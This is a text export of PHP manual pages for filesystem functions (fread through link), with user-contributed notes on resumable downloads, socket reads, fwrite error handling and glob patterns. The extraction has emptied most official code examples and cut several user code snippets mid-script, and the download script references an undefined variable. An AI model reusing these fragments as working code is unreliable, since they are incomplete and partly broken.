returned data may be larger than the chunk size. Parameters~ handle ------ A file system pointer resource that is typically created using fopen(). length ------ Up to length number of bytes read. Return Values~ Returns the read string or FALSE on failure. Examples~ Example #1 A simple fread() example > < Example #2 Binary fread() example Warning On systems which differentiate between binary and text files (i.e. Windows) the file must be opened with 'b' included in fopen() mode parameter. > < Example #3 Remote fread() examples Warning When reading from anything that is not a regular local file, such as streams returned when reading remote files or from popen() and fsockopen(), reading will stop after a packet is available. This means that you should collect the data together in chunks as shown in the examples below. > < Notes~ Note: If you just want to get the contents of a file into a string, use file_get_contents() as it has much better performance than the code above. Note: Note that fread() reads from the current position of the file pointer. Use ftell() to find the current position of the pointer and rewind() to rewind the pointer position. See Also~ |fwrite|() - Binary-safe file write |fopen|() - Opens file or URL |fsockopen|() - Open Internet or Unix domain socket connection |popen|() - Opens process file pointer |fgets|() - Gets line from file pointer |fgetss|() - Gets line from file pointer and strip HTML tags |fscanf|() - Parses input from a file according to a format |file|() - Reads entire file into an array |fpassthru|() - Output all remaining data on a file pointer |ftell|() - Returns the current position of the file read/write pointer |rewind|() - Rewind the position of a file pointer |unpack|() - Unpack data from binary string User Contributed Notes 41 notes 23 Edward Jaramilla ¶8 years ago~ I couldn't get some of the previous resume scripts to work with Free Download Manager or Firefox. I did some clean up and modified the code a little. Changes: 1. Added a Flag to specify if you want download to be resumable or not 2. Some error checking and data cleanup for invalid/multiple ranges based on http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt 3. Always calculate a $seek_end even though the range specification says it could be empty... eg: bytes 500-/1234 4. Removed some Cache headers that didn't seem to be needed. (add back if you have problems) 5. Only send partial content header if downloading a piece of the file (IE workaround) > 404 File not found!
    "); } //Gather relevent info about file $size = filesize($file); $fileinfo = pathinfo($file); //workaround for IE filename bug with multiple periods / multiple dots in filename //that adds square brackets to filename - eg. setup.abc.exe becomes setup[1].abc.exe $filename = (strstr($_SERVER['HTTP_USER_AGENT'], 'MSIE')) ? preg_replace('/\./', '%2e', $fileinfo['basename'], substr_count($fileinfo['basename'], '.') - 1) : $fileinfo['basename']; $file_extension = strtolower($path_info['extension']); //This will set the Content-Type to the appropriate setting for the file switch($file_extension) { case 'exe': $ctype='application/octet-stream'; break; case 'zip': $ctype='application/zip'; break; case 'mp3': $ctype='audio/mpeg'; break; case 'mpg': $ctype='video/mpeg'; break; case 'avi': $ctype='video/x-msvideo'; break; default: $ctype='application/force-download'; } //check if http_range is sent by browser (or download manager) if($is_resume && isset($_SERVER['HTTP_RANGE'])) { list($size_unit, $range_orig) = explode('=', $_SERVER['HTTP_RANGE'], 2); if ($size_unit == 'bytes') { //multiple ranges could be specified at the same time, but for simplicity only serve the first range //http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt list($range, $extra_ranges) = explode(',', $range_orig, 2); } else { $range = ''; } } else { $range = ''; } //figure out download piece from range (if set) list($seek_start, $seek_end) = explode('-', $range, 2); //set start and end based on range (if set), else set defaults //also check for invalid ranges. $seek_end = (empty($seek_end)) ? ($size - 1) : min(abs(intval($seek_end)),($size - 1)); $seek_start = (empty($seek_start) || $seek_end < abs(intval($seek_start))) ? 0 : max(abs(intval($seek_start)),0); //add headers if resumable if ($is_resume) { //Only send partial content header if downloading a piece of the file (IE workaround) if ($seek_start > 0 || $seek_end < ($size - 1)) { header('HTTP/1.1 206 Partial Content'); } header('Accept-Ranges: bytes'); header('Content-Range: bytes '.$seek_start.'-'.$seek_end.'/'.$size); } //headers for IE Bugs (is this necessary?) //header("Cache-Control: cache, must-revalidate"); //header("Pragma: public"); header('Content-Type: ' . $ctype); header('Content-Disposition: attachment; filename="' . $filename . '"'); header('Content-Length: '.($seek_end - $seek_start + 1)); //open the file $fp = fopen($file, 'rb'); //seek to start of missing part fseek($fp, $seek_start); //start buffered download while(!feof($fp)) { //reset time limit for big files set_time_limit(0); print(fread($fp, 1024*8)); flush(); ob_flush(); } fclose($fp); exit; } ?> < 27 edgarinvillegas at hotmail dot com ¶7 years ago~ I had a fread script that hanged forever (from php manual): > \n"; } else { fwrite($fp, "Data sent by socket"); $content = ""; while (!feof($fp)) { //This looped forever $content .= fread($fp, 1024); } fclose($fp); echo $content; } ?> < The problem is that sometimes end of streaming is not marked by EOF nor a fixed mark, that's why this looped forever. This caused me a lot of headaches... I solved it using the stream_get_meta_data function and a break statement as the following shows: > \n"; } else { fwrite($fp, "Data sent by socket"); $content = ""; while (!feof($fp)) { $content .= fread($fp, 1024); $stream_meta_data = stream_get_meta_data($fp); //Added line if($stream_meta_data['unread_bytes'] <= 0) break; //Added line } fclose($fp); echo $content; } ?> < Hope this will save a lot of headaches to someone. (Greetings, from La Paz-Bolivia) 3 Anonymous ¶8 years ago~ It might be worth noting that if your site uses a front controller with sessions and you send a large file to a user; you should end the session just before sending the file, otherwise the user will not be able to continue continue browsing the site while the file is downloading. 11 dharmilshah at gmail dot com ¶3 years ago~ For anyone still trying to write an effective file downloader function/script, the work has been done for you in all the major servers including Apache & nginx. Using the X-Sendfile header, you can do the following: if ($user->isLoggedIn()) { header("X-Sendfile: $path_to_somefile_private"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=\"$somefile\""); } Apache will serve the file for you while NOT revealing your private file path! Pretty nice. This works on all browsers/download managers and saves a lot of resources. Documentation: Apache module: https://tn123.org/mod_xsendfile/ Nginx: http://wiki.nginx.org/XSendfile Lighttpd: http://blog.lighttpd.net/articles/2006/07/02/x-sendfile/ Hopefully this will save you many hours of work. -------------------------------------------------------------------------------- *fscanf* +--------+~ | fscanf |~ +--------+~ (PHP 4 >= 4.0.1, PHP 5, PHP 7) fscanf — Parses input from a file according to a format Description~ mixed ----- fscanf ( resource $handle , string $format [, mixed &$... ] ) The function fscanf() is similar to sscanf(), but it takes its input from a file associated with handle and interprets the input according to the specified format, which is described in the documentation for sprintf(). Any whitespace in the format string matches any whitespace in the input stream. This means that even a tab \t in the format string can match a single space character in the input stream. Each call to fscanf() reads one line from the file. Parameters~ handle ------ A file system pointer resource that is typically created using fopen(). format ------ The specified format as described in the sprintf() documentation. ... The optional assigned values. Return Values~ If only two parameters were passed to this function, the values parsed will be returned as an array. Otherwise, if optional parameters are passed, the function will return the number of assigned values. The optional parameters must be passed by reference. Examples~ Example #1 fscanf() Example > < Example #2 Contents of users.txt javier argonaut pe hiroshi sculptor jp robert slacker us luigi florist it See Also |fread|() - Binary-safe file read |fgets|() - Gets line from file pointer |fgetss|() - Gets line from file pointer and strip HTML tags |sscanf|() - Parses input from a string according to a format |printf|() - Output a formatted string |sprintf|() - Return a formatted string User Contributed Notes 10 notes 11 yasuo_ohgaki at hotmail dot com ¶16 years ago~ For C/C++ programmers. fscanf() does not work like C/C++, because PHP's fscanf() move file pointer the next line implicitly. -------------------------------------------------------------------------------- *fseek* +-------+~ | fseek |~ +-------+~ (PHP 4, PHP 5, PHP 7) fseek — Seeks on a file pointer Description~ > int fseek ( resource $handle , int $offset [, int $whence = SEEK_SET ] ) < Sets the file position indicator for the file referenced by handle. The new position, measured in bytes from the beginning of the file, is obtained by adding offset to the position specified by whence. In general, it is allowed to seek past the end-of-file; if data is then written, reads in any unwritten region between the end-of-file and the sought position will yield bytes with value 0. However, certain streams may not support this behavior, especially when they have an underlying fixed size storage. Parameters~ handle ------ A file system pointer resource that is typically created using fopen(). offset ------ The offset. To move to a position before the end-of-file, you need to pass a negative value in offset and set whence to SEEK_END. whence ------ whence values are: SEEK_SET - Set position equal to offset bytes. SEEK_CUR - Set position to current location plus offset. SEEK_END - Set position to end-of-file plus offset. Return Values ¶ Upon success, returns 0; otherwise, returns -1. Examples~ Example #1 fseek() example > < Notes Note: If you have opened the file in append (a or a+) mode, any data you write to the file will always be appended, regardless of the file position, and the result of calling fseek() will be undefined. Note: Not all streams support seeking. For those that do not support seeking, forward seeking from the current position is accomplished by reading and discarding data; other forms of seeking will fail. See Also~ |ftell|() - Returns the current position of the file read/write pointer |rewind|() - Rewind the position of a file pointer User Contributed Notes 25 notes 35 seeker at example com ¶9 years ago~ JUST TO QUOTE AND POINT THIS OUT: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 3. if you're using fseek() to write data to a file, remember to open the file in "r+" mode, example: $fp=fopen($filename,"r+"); DON'T open the file in mode "a" (for append), because it puts the file pointer at the end of the file and doesn't let you fseek earlier positions in the file (it didn't for me!). Also, don't open the file in mode "w" -- although this puts you at the beginning of the file -- because it wipes out all data in the file. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Took me half a day to figure :/ 10 Anonymous ¶6 years ago~ The official docs indicate that not all streams are seekable. You can try to seek anyway and handle failure: > < Or, you can use the stream_get_meta_data function: http://php.net/stream_get_meta_data > < 7 lorenzo dot stanco at gmail dot com ¶4 years ago~ I want to give my contribution about the "read last lines from a file" topic. I've done some researches (starting from here, really) and run many tests for different algorithms and scenarios, and came up with this: What is the best way in PHP to read last lines from a file? http://stackoverflow.com/a/15025877/995958 In that mini-article I tried to analyze all different methods and their performance over different files. Hope it helps. -------------------------------------------------------------------------------- *fstat* +-------+~ | fstat |~ +-------+~ (PHP 4, PHP 5, PHP 7) fstat — Gets information about a file using an open file pointer Description~ > array fstat ( resource $handle ) < Gathers the statistics of the file opened by the file pointer handle. This function is similar to the stat() function except that it operates on an open file pointer instead of a filename. Parameters~ handle ------ A file system pointer resource that is typically created using fopen(). Return Values~ Returns an array with the statistics of the file; the format of the array is described in detail on the stat() manual page. Examples~ Example #1 fstat() example > < The above example will output something similar to: Array ( [dev] => 771 [ino] => 488704 [mode] => 33188 [nlink] => 1 [uid] => 0 [gid] => 0 [rdev] => 0 [size] => 1114 [atime] => 1061067181 [mtime] => 1056136526 [ctime] => 1056136526 [blksize] => 4096 [blocks] => 8 ) Notes Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem. -------------------------------------------------------------------------------- *ftell* +-------+~ | ftell |~ +-------+~ (PHP 4, PHP 5, PHP 7) ftell — Returns the current position of the file read/write pointer Description~ > int ftell ( resource $handle ) < Returns the position of the file pointer referenced by handle. Parameters~ handle ------ The file pointer must be valid, and must point to a file successfully opened by fopen() or popen(). ftell() gives undefined results for append-only streams (opened with "a" flag). Return Values~ Returns the position of the file pointer referenced by handle as an integer; i.e., its offset into the file stream. If an error occurs, returns FALSE. Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB. Examples~ Example #1 ftell() example > < See Also~ |fopen|() - Opens file or URL |popen|() - Opens process file pointer |fseek|() - Seeks on a file pointer |rewind|() - Rewind the position of a file pointer -------------------------------------------------------------------------------- *ftruncate* +-----------+~ | ftruncate |~ +-----------+~ (PHP 4, PHP 5, PHP 7) ftruncate — Truncates a file to a given length Description~ > bool ftruncate ( resource $handle , int $size ) < Takes the filepointer, handle, and truncates the file to length, size. Parameters~ handle ------ The file pointer. Note: The handle must be open for writing. size ---- The size to truncate to. Note: If size is larger than the file then the file is extended with null bytes. If size is smaller than the file then the file is truncated to that size. Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 File truncation example > < Notes~ Note: The file pointer is not changed. See Also~ |fopen|() - Opens file or URL |fseek|() - Seeks on a file pointer User Contributed Notes 4 notes 19 emailfire at gmail dot com ¶5 years ago~ If you want to empty a file of it's contents bare in mind that opening a file in w mode truncates the file automatically, so instead of doing... > < You can just do... > < 10 Julien B. ¶2 years ago~ You MUST use rewind() after ftruncate() to replace file content 7 rc at opelgt dot org ¶9 years ago~ Writing after ftruncate I didnt expect that I can write in the middle of nowhere. I thought that I would write at the beginning of the file but the first 4 bytes were filled automatically with NULLs followed by "56": > "; echo "pointer after fread at: ".ftell($dh)."
    "; ftruncate($dh, 0); echo "pointer after truncate at: ".ftell($dh)."
    "; fwrite($dh, $str2); echo "pointer after fwrite at: ".ftell($dh)."
    "; rewind($dh); echo "pointer after rewind at: ".ftell($dh)."
    "; $str = fread($dh, 6); echo "content: $str
    in ASCII: "; for($i = 0; $i < 6; $i++) echo ord($str{$i})."-"; fclose($dh); /* OUTPUT: content: 1234 pointer after fread at: 4 pointer after truncate at: 4 pointer after fwrite at: 6 pointer after rewind at: 0 content: 56 in ASCII: 0-0-0-0-53-54 */ ?> < So not only ftruncate is filling an empty file up with NULLs as in the note before. Fread is filling leading space with NULLs too. -------------------------------------------------------------------------------- *fwrite* +--------+~ | fwrite |~ +--------+~ (PHP 4, PHP 5, PHP 7) fwrite — Binary-safe file write Description~ > int fwrite ( resource $handle , string $string [, int $length ] ) < fwrite() writes the contents of string to the file stream pointed to by handle. Parameters~ handle ------ A file system pointer resource that is typically created using fopen(). string ------ The string that is to be written. length ------ If the length argument is given, writing will stop after length bytes have been written or the end of string is reached, whichever comes first. Note that if the length argument is given, then the magic_quotes_runtime configuration option will be ignored and no slashes will be stripped from string. Return Values~ fwrite() returns the number of bytes written, or FALSE on error. Notes ¶ Note: Writing to a network stream may end before the whole string is written. Return value of fwrite() may be checked: > < Note: On systems which differentiate between binary and text files (i.e. Windows) the file must be opened with 'b' included in fopen() mode parameter. Note: If handle was fopen()ed in append mode, fwrite()s are atomic (unless the size of string exceeds the filesystem's block size, on some platforms, and as long as the file is on a local filesystem). That is, there is no need to flock() a resource before calling fwrite(); all of the data will be written without interruption. Note: If writing twice to the file pointer, then the data will be appended to the end of the file content: > < Examples~ Example #1 A simple fwrite() example > < See Also~ |fread|() - Binary-safe file read |fopen|() - Opens file or URL |fsockopen|() - Open Internet or Unix domain socket connection |popen|() - Opens process file pointer |file_get_contents|() - Reads entire file into a string |pack|() - Pack data into binary string User Contributed Notes 29 notes 57 nate at frickenate dot com ¶7 years ago~ After having problems with fwrite() returning 0 in cases where one would fully expect a return value of false, I took a look at the source code for php's fwrite() itself. The function will only return false if you pass in invalid arguments. Any other error, just as a broken pipe or closed connection, will result in a return value of less than strlen($string), in most cases 0. Therefore, looping with repeated calls to fwrite() until the sum of number of bytes written equals the strlen() of the full value or expecting false on error will result in an infinite loop if the connection is lost. This means the example fwrite_stream() code from the docs, as well as all the "helper" functions posted by others in the comments are all broken. You *must* check for a return value of 0 and either abort immediately or track a maximum number of retries. Below is the example from the docs. This code is BAD, as a broken pipe will result in fwrite() infinitely looping with a return value of 0. Since the loop only breaks if fwrite() returns false or successfully writes all bytes, an infinite loop will occur on failure. > < -------------------------------------------------------------------------------- *glob* +------+~ | glob |~ +------+~ (PHP 4 >= 4.3.0, PHP 5, PHP 7) glob — Find pathnames matching a pattern Description~ > array glob ( string $pattern [, int $flags = 0 ] ) < The glob() function searches for all the pathnames matching pattern according to the rules used by the libc glob() function, which is similar to the rules used by common shells. Parameters~ pattern ------- The pattern. No tilde expansion or parameter substitution is done. flags ------ Valid flags: GLOB_MARK - Adds a slash to each directory returned GLOB_NOSORT - Return files as they appear in the directory (no sorting). When this flag is not used, the pathnames are sorted alphabetically GLOB_NOCHECK - Return the search pattern if no files matching it were found GLOB_NOESCAPE - Backslashes do not quote metacharacters GLOB_BRACE - Expands {a,b,c} to match 'a', 'b', or 'c' GLOB_ONLYDIR - Return only directory entries which match the pattern GLOB_ERR - Stop on read errors (like unreadable directories), by default errors are ignored. Return Values~ Returns an array containing the matched files/directories, an empty array if no file matched or FALSE on error. Note: On some systems it is impossible to distinguish between empty match and an error. Changelog~ Version Description 5.1.0 GLOB_ERR was added Examples~ Example #1 Convenient way how glob() can replace opendir() and friends. > < The above example will output something similar to: funclist.txt size 44686 funcsummary.txt size 267625 quickref.txt size 137820 Notes~ Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem. Note: This function isn't available on some systems (e.g. old Sun OS). Note: The GLOB_BRACE flag is not available on some non GNU systems, like Solaris. See Also~ |opendir|() - Open directory handle |readdir|() - Read entry from directory handle |closedir|() - Close directory handle |fnmatch|() - Match filename against a pattern User Contributed Notes 50 notes 229 crayonviolent at phpfreaks dot com ¶8 years ago~ Since I feel this is rather vague and non-helpful, I thought I'd make a post detailing the mechanics of the glob regex. glob uses two special symbols that act like sort of a blend between a meta-character and a quantifier. These two characters are the * and ? The ? matches 1 of any character except a / The * matches 0 or more of any character except a / If it helps, think of the * as the pcre equivalent of .* and ? as the pcre equivalent of the dot (.) Note: * and ? function independently from the previous character. For instance, if you do glob("a*.php") on the following list of files, all of the files starting with an 'a' will be returned, but * itself would match: a.php // * matches nothing aa.php // * matches the second 'a' ab.php // * matches 'b' abc.php // * matches 'bc' b.php // * matches nothing, because the starting 'a' fails bc.php // * matches nothing, because the starting 'a' fails bcd.php // * matches nothing, because the starting 'a' fails It does not match just a.php and aa.php as a 'normal' regex would, because it matches 0 or more of any character, not the character/class/group before it. Executing glob("a?.php") on the same list of files will only return aa.php and ab.php because as mentioned, the ? is the equivalent of pcre's dot, and is NOT the same as pcre's ?, which would match 0 or 1 of the previous character. glob's regex also supports character classes and negative character classes, using the syntax [] and [^]. It will match any one character inside [] or match any one character that is not in [^]. With the same list above, executing glob("[ab]*.php) will return (all of them): a.php // [ab] matches 'a', * matches nothing aa.php // [ab] matches 'a', * matches 2nd 'a' ab.php // [ab] matches 'a', * matches 'b' abc.php // [ab] matches 'a', * matches 'bc' b.php // [ab] matches 'b', * matches nothing bc.php // [ab] matches 'b', * matches 'c' bcd.php // [ab] matches 'b', * matches 'cd' glob("[ab].php") will return a.php and b.php glob("[^a]*.php") will return: b.php // [^a] matches 'b', * matches nothing bc.php // [^a] matches 'b', * matches 'c' bcd.php // [^a] matches 'b', * matches 'cd' glob("[^ab]*.php") will return nothing because the character class will fail to match on the first character. You can also use ranges of characters inside the character class by having a starting and ending character with a hyphen in between. For example, [a-z] will match any letter between a and z, [0-9] will match any (one) number, etc.. glob also supports limited alternation with {n1, n2, etc..}. You have to specify GLOB_BRACE as the 2nd argument for glob in order for it to work. So for example, if you executed glob("{a,b,c}.php", GLOB_BRACE) on the following list of files: a.php b.php c.php all 3 of them would return. Note: using alternation with single characters like that is the same thing as just doing glob("[abc].php"). A more interesting example would be glob("te{xt,nse}.php", GLOB_BRACE) on: tent.php text.php test.php tense.php text.php and tense.php would be returned from that glob. glob's regex does not offer any kind of quantification of a specified character or character class or alternation. For instance, if you have the following files: a.php aa.php aaa.php ab.php abc.php b.php bc.php with pcre regex you can do ~^a+\.php$~ to return a.php aa.php aaa.php This is not possible with glob. If you are trying to do something like this, you can first narrow it down with glob, and then get exact matches with a full flavored regex engine. For example, if you wanted all of the php files in the previous list that only have one or more 'a' in it, you can do this: > < glob also does not support lookbehinds, lookaheads, atomic groupings, capturing, or any of the 'higher level' regex functions. glob does not support 'shortkey' meta-characters like \w or \d. 42 uramihsayibok, gmail, com ¶7 years ago~ Those of you with PHP 5 don't have to come up with these wild functions to scan a directory recursively: the SPL can do it. > < Not to mention the fact that $file will be an SplFileInfo class, so you can do powerful stuff really easily: > isFile()) { echo substr($file->getPathname(), 27) . ": " . $file->getSize() . " B; modified " . date("Y-m-d", $file->getMTime()) . "\n"; $size += $file->getSize(); } } echo "\nTotal file size: ", $size, " bytes\n"; ?> < \Luna\luna.msstyles: 4190352 B; modified 2008-04-13 \Luna\Shell\Homestead\shellstyle.dll: 362496 B; modified 2006-02-28 \Luna\Shell\Metallic\shellstyle.dll: 362496 B; modified 2006-02-28 \Luna\Shell\NormalColor\shellstyle.dll: 361472 B; modified 2006-02-28 \Luna.theme: 1222 B; modified 2006-02-28 \Windows Classic.theme: 3025 B; modified 2006-02-28 Total file size: 5281063 bytes 16 david dot schueler at tel-billig dot de ¶6 years ago~ Don't use glob() if you try to list files in a directory where very much files are stored (>100.000). You get an "Allowed memory size of XYZ bytes exhausted ..." error. You may try to increase the memory_limit variable in php.ini. Mine has 128MB set and the script will still reach this limit while glob()ing over 500.000 files. The more stable way is to use readdir() on very large numbers of files: > < -------------------------------------------------------------------------------- *is_dir* +--------+~ | is_dir |~ +--------+~ (PHP 4, PHP 5, PHP 7) is_dir — Tells whether the filename is a directory Description~ > bool is_dir ( string $filename ) < Tells whether the given filename is a directory. Parameters~ filename -------- Path to the file. If filename is a relative filename, it will be checked relative to the current working directory. If filename is a symbolic or hard link then the link will be resolved and checked. If you have enabled safe mode, or open_basedir further restrictions may apply. Return Values~ Returns TRUE if the filename exists and is a directory, FALSE otherwise. Examples~ Example #1 is_dir() example > < The above example will output: bool(false) bool(false) bool(true) Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |chdir|() - Change directory |dir|() - Return an instance of the Directory class |opendir|() - Open directory handle |is_file|() - Tells whether the filename is a regular file |is_link|() - Tells whether the filename is a symbolic link User Contributed Notes 19 notes 8 sly at noiretblanc dot org ¶12 years ago~ This is the "is_dir" function I use to solve the problems : > function Another_is_dir ($file) { if ((fileperms("$file") & 0x4000) == 0x4000) return TRUE; else return FALSE; } < or, more simple : > function Another_is_dir ($file) { return ((fileperms("$file") & 0x4000) == 0x4000); } < I can't remember where it comes from, but it works fine. 10 digitalaudiorock at gmail dot com ¶6 years ago~ Just a note for anyone who encounters is_dir() returning false on CIFS mount points or directories within those mount points on 2.6.31 and newer kernels: Apparently in new kernels they've started using the CIFS serverino option by default. With Windows shares this causes huge inode numbers and which apparently can cause is_dir() to return false. Adding the noserverino option to the CIFS mount will prevent this. This may only occur on 32 systems but I don't have a 64 bit install to test against. -------------------------------------------------------------------------------- *is_executable* +---------------+~ | is_executable |~ +---------------+~ (PHP 4, PHP 5, PHP 7) is_executable — Tells whether the filename is executable Description~ > bool is_executable ( string $filename ) < Tells whether the filename is executable. Parameters~ filename -------- Path to the file. Return Values~ Returns TRUE if the filename exists and is executable, or FALSE on error. Examples~ Example #1 is_executable() example > < Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes~ Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |is_file|() - Tells whether the filename is a regular file |is_link|() - Tells whether the filename is a symbolic link -------------------------------------------------------------------------------- *is_file* +---------+~ | is_file |~ +---------+~ (PHP 4, PHP 5, PHP 7) is_file — Tells whether the filename is a regular file Description~ > bool is_file ( string $filename ) < Tells whether the given file is a regular file. Parameters~ filename -------- Path to the file. Return Values~ Returns TRUE if the filename exists and is a regular file, FALSE otherwise. Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB. Examples~ Example #1 is_file() example > < The above example will output: bool(true) bool(false) Errors/Exceptions ¶ Upon failure, an E_WARNING is emitted. Notes~ Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |is_dir|() - Tells whether the filename is a directory |is_link|() - Tells whether the filename is a symbolic link User Contributed Notes 23 notes 30 Anonymous ¶5 years ago~ Note that is_file() returns false if the parent directory doesn't have +x set for you; this make sense, but other functions such as readdir() don't seem to have this limitation. The end result is that you can loop through a directory's files but is_file() will always fail. -------------------------------------------------------------------------------- *is_link* +---------+~ | is_link |~ +---------+~ (PHP 4, PHP 5, PHP 7) is_link — Tells whether the filename is a symbolic link Description~ > bool is_link ( string $filename ) < Tells whether the given file is a symbolic link. Parameters~ filename -------- Path to the file. Return Values~ Returns TRUE if the filename exists and is a symbolic link, FALSE otherwise. Examples~ Example #1 Create and confirm if a file is a symbolic link > < Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |is_dir|() - Tells whether the filename is a directory |is_file|() - Tells whether the filename is a regular file |readlink|() - Returns the target of a symbolic link -------------------------------------------------------------------------------- *is_readable* +-------------+~ | is_readable |~ +-------------+~ (PHP 4, PHP 5, PHP 7) is_readable — Tells whether a file exists and is readable Description~ > bool is_readable ( string $filename ) < Tells whether a file exists and is readable. Parameters~ filename -------- Path to the file. Return Values~ Returns TRUE if the file or directory specified by filename exists and is readable, FALSE otherwise. Examples~ Example #1 is_readable() example > < Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes Keep in mind that PHP may be accessing the file as the user id that the web server runs as (often 'nobody'). Safe mode limitations are not taken into account before PHP 5.1.5. Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. Note: The check is done using the real UID/GID instead of the effective one. This function may return TRUE for directories. Use is_dir() to distinguish file and directory. See Also~ |is_writable|() - Tells whether the filename is writable |file_exists|() - Checks whether a file or directory exists |fgets|() - Gets line from file pointer -------------------------------------------------------------------------------- *is_uploaded_file* +------------------+~ | is_uploaded_file |~ +------------------+~ (PHP 4 >= 4.0.3, PHP 5, PHP 7) is_uploaded_file — Tells whether the file was uploaded via HTTP POST Description~ > bool is_uploaded_file ( string $filename ) < Returns TRUE if the file named by filename was uploaded via HTTP POST. This is useful to help ensure that a malicious user hasn't tried to trick the script into working on files upon which it should not be working--for instance, /etc/passwd. This sort of check is especially important if there is any chance that anything done with uploaded files could reveal their contents to the user, or even to other users on the same system. For proper working, the function is_uploaded_file() needs an argument like $_FILES['userfile']['tmp_name'], - the name of the uploaded file on the client's machine $_FILES['userfile']['name'] does not work. Parameters~ filename -------- The filename being checked. Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 is_uploaded_file() example > < See Also~ |move_uploaded_file|() - Moves an uploaded file to a new location |$_FILES| See |handling_file_uploads| for a simple usage example. User Contributed Notes 14 notes 28 nicoSWD ¶3 years ago~ Note that calling this function before move_uploaded_file() is not necessary, as it does the exact same checks already. It provides no extra security. Only when you're trying to use an uploaded file for something other than moving it to a new location. Reference: https://github.com/php/php-src/blob/master/ext/standard/basic_functions.c#L5796 -------------------------------------------------------------------------------- *is_writable* +-------------+~ | is_writable |~ +-------------+~ (PHP 4, PHP 5, PHP 7) is_writable — Tells whether the filename is writable Description~ > bool is_writable ( string $filename ) < Returns TRUE if the filename exists and is writable. The filename argument may be a directory name allowing you to check if a directory is writable. Keep in mind that PHP may be accessing the file as the user id that the web server runs as (often 'nobody'). Safe mode limitations are not taken into account. Parameters~ filename -------- The filename being checked. Return Values~ Returns TRUE if the filename exists and is writable. Examples -------- Example #1 is_writable() example > < Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |is_readable|() - Tells whether a file exists and is readable |file_exists|() - Checks whether a file or directory exists |fwrite|() - Binary-safe file write User Contributed Notes 14 notes 8 starrychloe at yahoo dot com ¶9 years ago~ To Darek and F Dot: About group permissions, there is this note in the php.ini file: ; By default, Safe Mode does a UID compare check when ; opening files. If you want to relax this to a GID compare, ; then turn on safe_mode_gid. safe_mode_gid = Off -------------------------------------------------------------------------------- *is_writeable* +--------------+~ | is_writeable |~ +--------------+~ (PHP 4, PHP 5, PHP 7) is_writeable — Alias of is_writable() Description~ This function is an alias of: is_writable(). -------------------------------------------------------------------------------- *lchgrp* +--------+~ | lchgrp |~ +--------+~ (PHP 5 >= 5.1.2, PHP 7) lchgrp — Changes group ownership of symlink Description~ > bool lchgrp ( string $filename , mixed $group ) < Attempts to change the group of the symlink filename to group. Only the superuser may change the group of a symlink arbitrarily; other users may change the group of a symlink to any group of which that user is a member. Parameters~ filename -------- Path to the symlink. group ----- The group specified by name or number. Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 Changing the group of a symbolic link > < Notes~ Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem. Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Note: This function is not implemented on Windows platforms. See Also~ |chgrp|() - Changes file group |lchown|() - Changes user ownership of symlink |chown|() - Changes file owner |chmod|() - Changes file mode -------------------------------------------------------------------------------- *lchown* +--------+~ | lchown |~ +--------+~ (PHP 5 >= 5.1.2, PHP 7) lchown — Changes user ownership of symlink Description~ > bool lchown ( string $filename , mixed $user ) < Attempts to change the owner of the symlink filename to user user. Only the superuser may change the owner of a symlink. Parameters~ filename -------- Path to the file. user ----- User name or number. Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 Changing the owner of a symbolic link > < Notes~ Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem. Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Note: This function is not implemented on Windows platforms. See Also~ |chown|() - Changes file owner |lchgrp|() - Changes group ownership of symlink |chgrp|() - Changes file group |chmod|() - Changes file mode -------------------------------------------------------------------------------- *link* +------+~ | link |~ +------+~ (PHP 4, PHP 5, PHP 7) link — Create a hard link Description~ > bool link ( string $target , string $link ) < link() creates a hard link. Parameters~ target ------ Target of the link. link ----- The link name. Return Values~ Returns TRUE on success or FALSE on failure. Changelog~ Version Description 5.3.0 This function is now available on Windows platforms (Vista, Server 2008 or greater). Examples~ Example #1 Creating a simple hard link > < Notes~ Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem. Note: For Windows only: This function requires PHP to run in an elevated mode or with the UAC disabled. See Also~ |symlink|() - Creates a symbolic link |readlink|() - Returns the target of a symbolic link |linkinfo|() - Gets information about a link -------------------------------------------------------------------------------- *linkinfo* +----------+~ | linkinfo |~ +----------+~ (PHP 4, PHP 5, PHP 7) linkinfo — 